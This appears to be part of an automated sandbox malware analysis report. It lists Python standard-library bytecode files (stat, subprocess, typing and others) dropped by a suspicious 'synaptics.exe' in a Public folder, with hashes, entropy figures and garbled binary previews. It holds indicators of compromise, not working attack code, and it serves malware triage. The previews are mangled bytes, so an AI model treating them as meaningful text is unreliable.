Preview:	o........'-d.........................@...s....d.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z...d.d.l.Z.d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z.m.Z.m Z m!Z!..z.d.d.l.m"Z"..W.n...e#yi......Y.n.w.d.d.l.m$Z$m%Z%m&Z&m'Z'm(Z(m)Z)mZm+Z+m,Z,m-Z-..d.d.l.m.Z.m/Z/..e.j0d.e1d.d...e.d.....e.j0d.e1d.d...e.d.....e.j0d.e1d.d...e.d.....e.j0d.e1d.d...e.d.....e.j0d.e1d.d...e.d.....e.j0d.e1d.d...e.d.....e2j3..Z4e2_4d.d...e2j5.6..D...Z7e8e2d.d...Z9G.d.d...d.e...Z:G.d d!..d!e...Z;G.d"d#..d#e...Z<G.d$d%..d%e...Z=e.j>d&k...r.d.d'l.m?Z?m@Z@..d.d(lAmAZAmBZBmCZC..d.d)lAmDZDmEZEmFZF..d.d.lAZGd.d.lHZHd.d.lIZId.d.lJZJeKZLd*g.ZMeNe.d+..ZOe.ZPe.ZQd,d-..ZRd.d/..ZSd0d1..ZTd2d3..ZUe.d4d5..ZVd6d7..ZWG.d8d9..d9e.d9d:....ZXG.d;d<..d<eXe...ZYG.d=d>..d>e...ZZeYj[f.d.d.d.d?..d@dA..Z\d[e]dBeYj[d.d.d.d.d.dC..dDdE..Z^e\Z_e^Z`G.dFdG..dG..ZadHdI..ZbG.dJdK..dKeA..ZceceZ_deaeZ_ed.d.dBe]e3d.dLdLd.f.dMdN..ZfdOdP..ZgdQZhdRZidSdT..ZjdUdV..Zkeld.eFf.dWdX..ZmdYdZ..Znd.S.)\

C:\Users\Public\QExvbmVOb25l\lib\pycache\stat.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	5.544036225923017
Encrypted:	false
SSDEEP:	96:Vn/f+60wN3EXHH/aowjk0wBoCAEFXOrW6QBeABPl:VeRy3EPBwjk0w+CFXefQBT
MD5:	AD84ADD95AEDFB9736A49973BBED0D16
SHA1:	9CC56FDF932968B3A54147DF256E98D9CB167E74
SHA-256:	9AC87000ADB670791EA7F9E96D88CA836B835F3380567853BC9621972D8DB28A
SHA-512:	DB9448B413D27D79E96FB666A22594BF2DD353356B3AFB38B2244E3B529A5B1A29FE88F2B2D208CDBEDCA3F95D76F887B7EF3A52D07CDAF6A6ED4FF340520D8E
Malicious:	false
Reputation:	low
Preview:	o........'-d0........................@...sJ...d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.d...Z.d.d...Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d d!..Z.d"d#..Z.d$d%..Z.d&d'..Z.d(d)..Z dZ!d+Z"e"Z#d,Z$d-Z%d.Z&d/Z'd0Z(d-Z)d.Zd/Z+d1Z,d2Z-d3Z.d.Z/d.Z0d.Z1d.Z2d.Z3d.Z4d.Z5d.Z6d.Z7d3Z8d2Z9d.Z:d4Z;d5Z<d6Z=d7Z>d8Z?e.d9f.e.d:f.e.d;f.e.d<f.e.d=f.e.d>f.e.d?f.f.e)d@f.f.edAf.f.e+e!B.d:f.e!dBf.e+dCf.f.e-d@f.f.e.dAf.f.e/e"B.d:f.e"dBf.e/dCf.f.e1d@f.f.e2dAf.f.e3e$B.dDf.e$dEf.e3dCf.f.f.Z@dFdG..ZAd2ZBdZCd/ZDd3ZEd.ZFd.ZGd.ZHd.ZId.ZJd5ZKd.ZLd.ZMd+ZNd,ZOd.ZPd-ZQd4ZRz.d.dHlST.W.dIS...eT..y$......Y.dIS.w.)JzoConstants/functions for interpreting results of os.stat() and os.lstat()...Suggested usage: from stat import *...................................................c....................C........\|.d.@.S.).zMReturn the portion of the file's mode that can be set by. os.chmod().. i..........moder....r.....(C:\Users\Public\QExvbmVOb25l\lib\stat.py..S_IMODE........

C:\Users\Public\QExvbmVOb25l\lib\pycache\string.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	7115
Entropy (8bit):	5.38710397186473
Encrypted:	false
SSDEEP:	192:HLetNTT8nDlw15VntHYdo5H2vHA4yN/uZ1qkwto:SbTT8nhM5Vth5H2vHA4yN/G1qkwto
MD5:	23FB31B14D8338DE0BE78C4DDD268182
SHA1:	E33D26865D2BB3549A1BD7C93CEAEB7AEE76CBFD
SHA-256:	E5281A6969CF892DEF4FCB069D514896C2E4544BCE61EDFE198C82E7B362969B
SHA-512:	006587C32E18663AC50C2C543DC4F61CC5E0619E1FB3F452669ECE7316FE3CB387ABE375C6A344ABC8C537F13FBC7CB3D82487D217FB49F98D93F1F6924D6027
Malicious:	false
Reputation:	low
Preview:	o........'-d^*.......................@...s....d.Z.g.d...Z.d.d.l.Z.d.Z.d.Z.d.Z.e.e...Z.d.Z.e.d...d...Z.d.Z.d.Z.e.e...e...e...Z.d.d.d...Z.d.d.l.Z.d.d.l.m.Z...i.Z.G.d.d...d...Z.e.......G.d.d...d...Z.d.S.).an...A collection of string constants...Public module variables:..whitespace -- a string containing all ASCII whitespace.ascii_lowercase -- a string containing all ASCII lowercase letters.ascii_uppercase -- a string containing all ASCII uppercase letters.ascii_letters -- a string containing all ASCII letters.digits -- a string containing all ASCII decimal digits.hexdigits -- a string containing all ASCII hexadecimal digits.octdigits -- a string containing all ASCII octal digits.punctuation -- a string containing all ASCII punctuation characters.printable -- a string containing all ASCII characters considered printable..)...ascii_letters..ascii_lowercase..ascii_uppercase..capwords..digits..hexdigits..octdigits..printable..punctuation..whitespace..Formatter..Template.....Nz. .....Z.abcdefg

C:\Users\Public\QExvbmVOb25l\lib\pycache\stringprep.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	17088
Entropy (8bit):	5.694559665474942
Encrypted:	false
SSDEEP:	384:rORubSi/2orlLbqOf9dzA3gfqtv+ScNDMI7BHMi+yDnuxb3rOyb5:rOkbSi+orM29JlqtvtcNoI7BHzxzra
MD5:	6C38948CC946B04B221DFD220C5F49F9
SHA1:	54ABE2300EA30F0270AF3A12F9ECDEA26ED24E6A
SHA-256:	67C2711135D4F83490336621306D7295458176EB7E3E68AAC15609A4F3E1D947
SHA-512:	4048FE9EEDB2A9949F001DF55F0D036F4267468BEDCA06DBEF4821342EA1177F5549C23F9369304373F460EF75D3C6E787F64F9FA839FA57034A00DF2D1BE6EE
Malicious:	false
Reputation:	low
Preview:	o........'-d.3.......................@...s....d.Z.d.d.l.m.Z...e.j.d.k.s.J...d.d...Z.e.g.d...e.e.d.d.........Z.d.d...Z.i.d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d ..d!d"..d#d$..d%d&..d'd(..d)d*..d+d,..i.d-d...d/d0..d1d2..d3d ..d4d5..d6d7..d8d9..d:d;..d<d=..d>d?..d@dA..dBdC..dDdE..dFdG..dHdI..dJdK..dLdM....i.dNdO..dPdQ..dRdS..dTdU..dVdW..dXdY..dZd[..d\dM..d]dO..d^dQ..d_dS..d`dU..dadW..dbdY..dcd[..ddde..dfdg....i.dhdi..djdk..dldm..dndo..dpdq..drds..dtde..dudg..dvdi..dwdk..dxdm..dydo..dzdq..d{ds..d\|d}..d~d...d.d.....i.d.d...d.d...d.d...d.d...d.d...d.d}..d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d.....i.d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d.....i.d.d...d.d...d.d...d.d...d.d..d.d..d.d...d.d..d.d..d.d..d.d..d.d..d.d..d.d..d.d..d.d..d.d....i.d.d..d.d..d.d..d.d..d.d...d.d..d.d..d.d..d.d..d.d..d.d..d.d..d.d..d.d..d.d..d.d..d.d.....i.d.d...d.d...d.d...d.d...d.d...d.d.

C:\Users\Public\QExvbmVOb25l\lib\pycache\struct.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	320
Entropy (8bit):	5.123421822560025
Encrypted:	false
SSDEEP:	6:y/XextfvXhzYXcCuYKvg6FraMaVkoopngmIQNaHxEMW/Zkn:Cuxt35YXcaKvjFrDaVkoeWlW/Zkn
MD5:	65D5D9ECF82DDF192FCF1B3E5D99D18F
SHA1:	582680ADC5A0F50901BF5B75D6720CA1042BC833
SHA-256:	89D26DF9CBE43882A03A4C03AD729CE753884C2AEBD456C6EC4C37317B6F9F2F
SHA-512:	6DCEAB10D57749E72E14F41E5EE7EC4FFA968FB2967B06F9B6FD73BDD9CC3F19F87365B97A914CB57B6315DA680A8911C4ABD962BD687959D534F68EE691CD12
Malicious:	false
Reputation:	low
Preview:	o........'-d.........................@...s,...g.d...Z.d.d.l.T.d.d.l.m.Z...d.d.l.m.Z...d.S.).).Z.calcsize..packZ.pack_into..unpackZ.unpack_fromZ.iter_unpack..Struct..error.....)...)..._clearcache)...__doc__N)...__all__Z._structr....r......r....r.....C:\Users\Public\QExvbmVOb25l\lib\struct.py..<module>....s............

C:\Users\Public\QExvbmVOb25l\lib\pycache\subprocess.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	44754
Entropy (8bit):	5.609300644883295
Encrypted:	false
SSDEEP:	768:Eu0RXvdDf8N6wQVIGcx35LU1w2mDQkW4Oc+clEJn7Zk199DNSauyP4W3ggSegvc7:T0RXvZsjUeV0kzD+clEoSauLWeOQZcp
MD5:	B2F6298AC7B994FFA2BFAAC1061702B6
SHA1:	55D3856B0FCE0A586A385BA04793D53B06C30420
SHA-256:	BB63432DB5E07309130A93AB2C34C47A8963A5E50ADED1C31FB7EC279E36065B
SHA-512:	675BDB61A52244D94AC0BEA4F9BDE20564D8A19FF7476446E2C147F1B2D03601DBEA9D5B6171311761472AFEFF595F950F4DFB211049684017C544899B37AEEF
Malicious:	false
Reputation:	low
Preview:	o........'-d.S.......................@...sp...d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.Z.z.d.d.l.Z.W.n...e.yE......d.Z.Y.n.w.g.d...Z.z.d.d.l.Z.d.d.l.Z.d.Z.W.n...e.ym......d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.Y.n0w.d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m Z m!Z!m"Z"m#Z#m$Z$m%Z%m&Z&m'Z'm(Z(m)Z)..e..g.d.......G.d.d...d.e+..Z,G.d.d...d.e,..Z-G.d.d...d.e,..Z.e.r.G.d.d...d...Z/G.d.d...d.e0..Z1n.e2e.d.d...Z3e4e.d...r.e.j5Z6n.e.j7Z6e.r.d.Z8d.d...Z9n.g.Z8d.d...Z9d.Z:d.Z;d.Z<d.d...Z=d.d...Z>d.d ..d!d"..Z?d#d$..Z@d.d ..d%d&..ZAG.d'd(..d(eB..ZCd.d.d.d.d)..dd+..ZDd,d-..ZEd.d/..ZFd0d1..ZGd2d3..ZHeH..ZId.ZJG.d4d5..d5..ZKd.S.)6a....Subprocesses with accessible I/O streams..This module allows you to spawn processes, connect to their.input/output/error pipes, and obtain their return codes...For a complete description of this module see the Python documentation...Main API.========.run(...): Runs a command, waits for it to complete, then returns a.

C:\Users\Public\QExvbmVOb25l\lib\pycache\tempfile.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	24077
Entropy (8bit):	5.282038613874124
Encrypted:	false
SSDEEP:	384:8GeO1Q/N1bmiY+HWkXkYibq1vElkl0kwgbdxXrzpRwJcNrxSejqX1uk:LeQ81bminYBmvEKKkwovXbKMdTqX1uk
MD5:	20C663DDEAC18497FA7BC16337637762
SHA1:	6E40D841307BBD698DFF1D6875650BB9FAA3CED1
SHA-256:	F177B7AB12E6FA6DADDA96A52678549A745A1D8E44E4B5DCC748D303651B0A13
SHA-512:	FA72BFC5E9C84C67D863F5DEBF108732DA36C6250C1824C4EAD0FE74B4864776830D8E432089E9EE06AA2D53544E202A7CBD75CE3D63D498509EB9F3955A187F
Malicious:	false
Reputation:	low
Preview:	o........'-dku.......................@...s....d.Z.g.d...Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.e.j.Z.e.j.e.j.B.e.j.B.Z.e.e.d...rJe.e.j.O.Z.e.Z e.e.d...rVe e.j!O.Z e.e.d...r_e.j"Z"n.d.Z"d.Z#e...Z$d.d...Z%d.d...Z&d.d...Z'G.d.d...d...Z(d.d...Z)d.d...Zd.a+d.d...Z,d.d...Z-d.d...Z.d.d...Z/d.a0d.d...Z1d d!..Z2d"d#..Z3d?d%d&..Z4d@d'd(..Z5d)e#d.f.dd+..Z6G.d,d-..d-..Z7G.d.d/..d/..Z8.....2dAd.d3..d4d5..Z9e.j:d6k.s.e.j;d7k.r.e9Z<n.e.e.d8..a=......dBd.d3..d9d:..Z<G.d;d<..d<..Z>G.d=d>..d>..Z?d.S.)Ca....Temporary files...This module provides generic, low- and high-level interfaces for.creating temporary files and directories. All of the interfaces.provided by this module can be used without fear of race conditions.except for 'mktemp'. 'mktemp' is subject to race conditions and.should not be used; it is provided for backward compatibility only...The default path names are returned as str. If you supply bytes as.input, all return values will b

C:\Users\Public\QExvbmVOb25l\lib\pycache\textwrap.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	13825
Entropy (8bit):	5.341703197070515
Encrypted:	false
SSDEEP:	384:CB47dUTOzzlFEYKRuPSzqjNGmwImkWf8FBQ:CB47dzF/5JNG5MkkBQ
MD5:	B3A940F042678DCFD286D8785D25DF91
SHA1:	172795913DA8B32120E6B0BE01E4CE152FABA2A7
SHA-256:	6BD15818608B79839DCC149D94E19A71F0DF574217A9C1DD0ACE22B2631E0CD7
SHA-512:	978CA4A715A586BC617FF02A8FE395719051CD4808623C1AD906BC9B0792725A0A7643114D5EE8F5E9AED9B92D4843BC584EE5CB6BD1126B8E9ED38027AFE5D5
Malicious:	false
Reputation:	low
Preview:	o........'-d*O.......................@...s....d.Z.d.d.l.Z.g.d...Z.d.Z.G.d.d...d...Z.d.d.d...Z.d.d.d...Z.d.d...Z.e...d.e.j...Z.e...d.e.j...Z.d.d...Z.d.d.d...Z.e.d.k.rDe.e.d.......d.S.d.S.).z.Text wrapping and filling.......N)...TextWrapper..wrap..fill..dedent..indent..shortenz...... c....................@...s....e.Z.d.Z.d.Z.i.Z.e.d...Z.e.D.].Z.e.e.e.e...<.q.d.Z.d.Z.d.e...e.....Z.d.e.d.d.......Z.e...d.e.e.e.e.d.....e.j...Z.[.[.[.e...d.e.....Z.[.e...d...Z.....................d&d.d.d...d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d d!..Z.d"d#..Z.d$d%..Z.d.S.)'r....a..... Object for wrapping/filling text. The public interface consists of. the wrap() and fill() methods; the other methods are just there for. subclasses to override in order to tweak the default behaviour.. If you want to completely replace the main wrapping algorithm,. you'll probably have to override _wrap_chunks()... Several instance attributes control various aspects of wrapping:. width (default:

C:\Users\Public\QExvbmVOb25l\lib\pycache\threading.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	44982
Entropy (8bit):	5.172783428116464
Encrypted:	false
SSDEEP:	768:d1A/MIxOwAgbSGxwbNNo+rkPsXj16a1Zmi8Y2S41QrTrWOnO8F8+6LcAQJWBpSUW:d2/8Zf2lbPs/v612aOBy4kSUpx05izap
MD5:	C1A602F9E9EA7E248BA3C6C665CC7127
SHA1:	7219313B9414A6D3CA2D02275DE4E7ED93F213D1
SHA-256:	D31D9AD5939F5BE84955708DA680FEB7B2BFF6515C9E0D05D41542D48EC8347C
SHA-512:	DD24098ABBC6659D4F370FBC0BE4C8F8D40C793C8079D401EFA1320A2AE9A10F2F0BEC8AA507FB1CC2B920BA622D579B906250779DA8891427797E7FDF52C359
Malicious:	false
Reputation:	low
Preview:	o........'-d.........................@...s6...d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...z.d.d.l.m.Z...W.n...e.y=......d.d.l.m.Z...Y.n.w.g.d...Z.e.j.Z.e.j.Z.e.j.Z.e.j.Z.z.e.j.Z.d.Z.e...d.....W.n...e ye......d.Z.Y.n.w.e.j!Z"z.e.j#Z$W.n...e yy......d.Z$Y.n.w.e.j%Z%[.d.a&d.a'd.d...Z(d.d...Z)d.d...Zd.d...Z+e.Z,d.d...Z#G.d.d...d...Z-e-Z.G.d.d...d...Z/G.d.d...d...Z0G.d.d...d.e0..Z1G.d.d...d...Z2G.d.d ..d ..Z3G.d!d"..d"e4..Z5e.d#..j6Z7d$d%..Z8e#..a9i.Z:i.Z;e...Z<e...a=e>..a?d&d'..Z@G.d(d)..d)..ZAz.d.dl.mBaCmDZE..W.n#..e...y.......d.d+lFmGZH..d.d,l.mIZI..eId-d...ZDd/d-..ZEd0d1..aCY.n.w.tCZJd2d3..ZKG.d4d5..d5eA..ZLG.d6d7..d7eA..ZMG.d8d9..d9eA..ZNd:d;..ZOd<d=..ZPd>d?..ZQd@dA..ZRdBdC..ZSdDdE..ZTg.ZUd.aVdFdG..ZWd.dHl.mXZX..eM..aYdIdJ..ZZdKdL..Z[z.d.dMl.m\Z]..W.n...e...y.......d.dNl^m]Z]..Y.n.w.dOdP..Z_e`e.dQ....r.e.jae_dR....d.S.d.S.)Sz;Thread module emulating a subset of Java's threading model......N)...monotonic)...WeakSet)...islice..count)...deque)...get_ident

C:\Users\Public\QExvbmVOb25l\lib\pycache\token.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	2751
Entropy (8bit):	5.778755577479554
Encrypted:	false
SSDEEP:	48:6HWS58lFEOqIlPBJR41EYBzH3ch9C7Q7WnvKQvVgkGQLU:6HWSOFEOb5nFYBb3ch9T6qKLU
MD5:	8A942A29802294F36291286B1551C570
SHA1:	F939C32A0DDC8DCEB7626BD1503E37049DE40D54
SHA-256:	2761365AB75BC37B835ED32F18750AA2790668006B55E0A0143AE4A030D1C396
SHA-512:	8C837729FB064DB8885F9B7D71E4D882DD3B0978B82B9AA4FC1C0AB54387F5EB9C0FC998001352FF5E334E4CBCAA0063C1E9995229859A7BBD368386BDAD2054
Malicious:	false
Reputation:	low
Preview:	o........'-d.........................@...sF...d.Z.g.d...Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d Z d!Z!d"Z"d#Z#d$Z$d%Z%d&Z&d'Z'd(Z(d)Z)dZd+Z+d,Z,d-Z-d.Z.d/Z/d0Z0d1Z1d2Z2d3Z3d4Z4d5Z5d6Z6d7Z7d8Z8d9Z9d:Z:d;Z;d<Z<d=Z=d>Z>d?Z?d@Z@dAZAdBZBdCZCdDdE..eD...E..D...ZFe..GeF.H......i.dFe...dGe...dHe..dIe...dJe+..dKe...dLe...dMe...dNe%..dOe0..dPe(..dQe...dRe&..dSe...dTe...dUe'..dVe5..i.dWe...dXe6..dYe...dZe1..d[e2..d\e)..d]e...d^e7..d_e...d`e...dae#..dbe...dce...dde...dee...dfe...dge ....e$e/e3e4e.e.e"e-e.e.e,e.e!dh....ZIdidj..ZJdkdl..ZKdmdn..ZLdoS.)pz.Token constants.)...tok_name..ISTERMINAL..ISNONTERMINAL..ISEOF................................................................................................................................................................. ....!...."....#....$....%....&....'....(....)........+....,....-........./....0....1....2....3....4....5....6....7....8....9....:....;....<....

C:\Users\Public\QExvbmVOb25l\lib\pycache\tokenize.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	17207
Entropy (8bit):	5.78025405754347
Encrypted:	false
SSDEEP:	384:pSAswui0pcPm6mE93/w3CNgM/0n/JM7XHVOBnaH:pmiLPm3E93/wyNgM/EElOBnaH
MD5:	2F81B5A7DF51D2D496920A8E8FA0B26F
SHA1:	C9B6DB93E64F5BE3C05409C4865D79FF8ECD6A19
SHA-256:	25E9BC3CAC1257B8CDC48A148E6B769F23931D19A86FA359508013D7ED9986E5
SHA-512:	39219EF766E0D8C960B703FF0331D5922BAD94B54C2B25145FC272E0493EEFF5F459E160430FAC90A8CF0715E36EAB1CB33F44358354DC1A5810B03AE03E9AB3
Malicious:	false
Reputation:	low
Preview:	o........'-d.g.......................@...sT...d.Z.d.Z.d.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.T.d.d.l.m.Z...e...d.e.j...Z.e...d.e.j...Z.d.d.l.Z.e.j.g.d.....Z.[.G.d.d...d.e...d.d.....Z.d.d...Z.d.d...Z.d.d...Z.d.Z.d.Z.e.e.d.e.......e.e.....Z.d.Z d.Z!d.Z"d.Z#d.Z$e.e!e"e#e$..Z%d.Z&e.d.d ..e.e&....Z'd!e&..Z(e.e'e(..Z)e.d"e)d#....Ze.ee)e%..Z+d$d%..Z,e.j-d&d'....Z.e.e,....Z/d(Z0d)Z1d*Z2d+Z3e.e/d,..e/d-....Z4e.e/d...e/d/....Z5e.e6e.j7e8e.d0d1......Z9e.d2e9..Z:e.e+e:e5e ..Z;e.e;..Z<e.e/d3..e.d4d.....e/d5..e.d6d.......Z=e.d7e.e4..Z>e.e.e>e+e:e=e ....Z?i.Z@e,..D.].ZAe0e@eAd4..<.e1e@eAd6..<.e2e@eAd,..<.e3e@eAd-..<...q.eB..ZCeB..ZDe,..D.]%ZEeEd6..eEd4..f.D.].ZFeC.GeF......qIeEd-..eEd,..f.D.].ZFeD.GeF......qZ..q?d8ZHG.d9d:..d:eI..ZJG.d;d<..d<eI..ZKG.d=d>..d>..ZLd?d@..ZMdAdB..ZNdCdD..ZOdEdF..Z.dGdH..ZPdIdJ..ZQdKdL..ZRdMdN..ZSeTdOk...r.eS....d.S.d.S.)Pao...Tokenization help for Python programs...tokenize(readline) is a generator that breaks a stream

C:\Users\Public\QExvbmVOb25l\lib\pycache\traceback.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	21721
Entropy (8bit):	5.2962014434950175
Encrypted:	false
SSDEEP:	384:IoooGsSgHvgJJpLbiO+pSbnwRG+SbL3JWFsFmppQigBsKU9l4UiTdBq:IooncHvIJpiJAngzSBhU9l4UiTdBq
MD5:	BB16E21B872D39504B7A173B439C750D
SHA1:	753011F314235186293400EB9BA8B09CCA11B8D9
SHA-256:	EAC5FB0155054EB640618EC90127C5B6BD10E8A36C05D39F9AA6CF6B73CE301F
SHA-512:	65224BD422A1C152FD5590E936E8F4B183EDF7EB9F5AE455F4953E544F113DAB140FB4EDEA88480BF9FBE5F50010A85693682A9A9F47572D94EEB6403B45874D
Malicious:	false
Reputation:	low
Preview:	o........'-d.i.......................@...sJ...d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.g.d...Z.d8d.d...Z.d.d...Z.d9d.d...Z.d8d.d...Z.d8d.d...Z.d.Z.d.Z.G.d.d...d...Z.e...Z.d.d...Z.e.e.d.d.d.f.d.d...Z.e.e.d.d.f.d.d...Z.e.f.d.d...Z.d.d...Z.d.d...Z.d:d.d ..Z.d;d!d"..Z.d:d#d$..Z.d<d%d&..Z.d9d'd(..Z.d9d)d*..Z.d+d,..Z.G.d-d...d...Z.d/d0..Z.d1d2..Z.d3Z.G.d4d5..d5e ..Z!G.d6d7..d7..Z"d.S.)=z@Extract, format and print information about Python stack traces......N)...extract_stack..extract_tb..format_exception..format_exception_only..format_list..format_stack..format_tb..print_exc..format_exc..print_exception..print_last..print_stack..print_tb..clear_frames..FrameSummary..StackSummary..TracebackException..walk_stack..walk_tbc....................C...s4...\|.d.u.r.t.j.}.t...\|.......D.].}.t.\|.\|.d.d.....q.d.S.).zyPrint the list of tuples as returned by extract_tb() or. extract_stack() as a formatted stack trace to the given file.N......file..end)...sys..stderrr......from_list..format..print)...extracted_l

C:\Users\Public\QExvbmVOb25l\lib\pycache\types.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	9538
Entropy (8bit):	5.148392423531561
Encrypted:	false
SSDEEP:	96:W8BGSXkI304JX7ad5RV7VIPNmXkXFNlO8U2UuLWnxq3juXvypQ1SwDFBL0GSSSO9:jBGgf9oV4NmAFyvWLwx8pOXU/I+rjmV
MD5:	7C792029776160273C123FABC37270B2
SHA1:	62953166BEB72D5F306E02EE3DFFBB777054E35B
SHA-256:	32C278122BB2D0444FA29A1A65420931042B7F74746E08921C37E36BEE2C2C68
SHA-512:	5FC5473C024E8D44498C24089C4993B5CDE066F18CC2B9730DA7BFE457D63930DAB609DB98ECE78CF016F505FDD05B55B152155B3A3EF19EDD76D0165A37C82C
Malicious:	false
Reputation:	low
Preview:	o........'-d.(.......................@...s....d.Z.d.d.l.Z.d.d...Z.e.e...Z.e.d.d.....Z.e.e.j...Z.e.e.j...Z.e.e.j...Z.d.d...Z.e.e.....Z.d.d...Z.e.e.....Z.d.d...Z.e...Z.e.e...Z.e.......d.d...Z.e...Z.e.e...Z.G.d.d...d...Z.e.e...j...Z.e.e...Z.e.g.j...Z.e.e.j...Z.e.e...j...Z e.e!j"..Z#e.e$j.d.....Z%e.e...Z&z.e'....e'y.......e..(..d...Z)e.e)..Z*e.e)j+..Z,d.Z)[)Y.n.w.e.e.j...Z-e.e.j...Z/[.[.[.[.[.[.d$d.d...Z0d.d...Z1d%d.d...Z2d.d...Z3G.d.d...d...Z4G.d.d...d...Z5d d!..Z6e.e7e8....Z9e.e8e!B...Z:e.e;..Z<e.d...Z=e.e>..Z?d"d#..e@..D...ZAd.S.)&zO.Define names for built-in types that aren't directly accessible as a builtin.......Nc....................C........d.S...N..r....r....r.....)C:\Users\Public\QExvbmVOb25l\lib\types.py.._f...........r....c....................C...r....r....r....r....r....r....r......<lambda>....r....r....c........................s....d.....f.d.d...}.\|.j.d...S.).N.....c........................r....r....r....r........ar....r......f....r....z._cell_factory.<locals>.fr....)...__clo

C:\Users\Public\QExvbmVOb25l\lib\pycache\typing.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	85290
Entropy (8bit):	5.274886016227832
Encrypted:	false
SSDEEP:	1536:XCKtWnXfBkzWWZGNl2akuICUSA3yZ+MKug/kzVWqn1poDezYXXH1UXWbAyitL5U+:SSsWu58ug8fADeaVD8Vo+
MD5:	63397D8E60ACE9221E3137DBCAAB78B6
SHA1:	8DF69177FF4243CBED0B190123C76C42438F304B
SHA-256:	5101DB3BCF6D3BFAE6F5A0169088A97B16F67D32285094F1A67CCADA2F0362AB
SHA-512:	360B8EE4F3815A85FE05FD429644DC67BD9149E8866794ECCA3474BFF9D6F7B0206FEAF23EDB344B80E9A24B6E2F69F3C26ED76F04F0938A1C0FA1646B18A8FE
Malicious:	false
Reputation:	low
Preview:	o........'-d.t.......................@...s....d.Z.d.d.l.m.Z.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z.m.Z.m.Z.m.Z...g.d...Z.d.d.d...d.d...Z.d.d.d...d.d...Z.d.d...Z.d.d...Z.d.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.g.Z.d.d.d...d.d...Z.e...f.d d!..Z.G.d"d#..d#..Z G.d$d%..d%..Z!G.d&d'..d'e d.d(..Z"G.d)d..de"d.d(..Z#e"d+d,....Z$e"d-d.....Z%e"d/d0....Z&e"d1d2....Z'e"d3d4....Z(e"d5d6....Z)e#e.d.d...d7d8......Z*e"d9d:....Z+e"d;d<....Z,e"d=d>....Z-G.d?d@..d@e d.d(..Z.G.dAdB..dB..Z/G.dCdD..dDe e!e/d.d(..Z0G.dEdF..dFe e!d.d(..Z1G.dGdH..dHe e!d.d(..Z2G.dIdJ..dJe e!e/d.d(..Z3dKdL..Z4G.dMdN..dNe 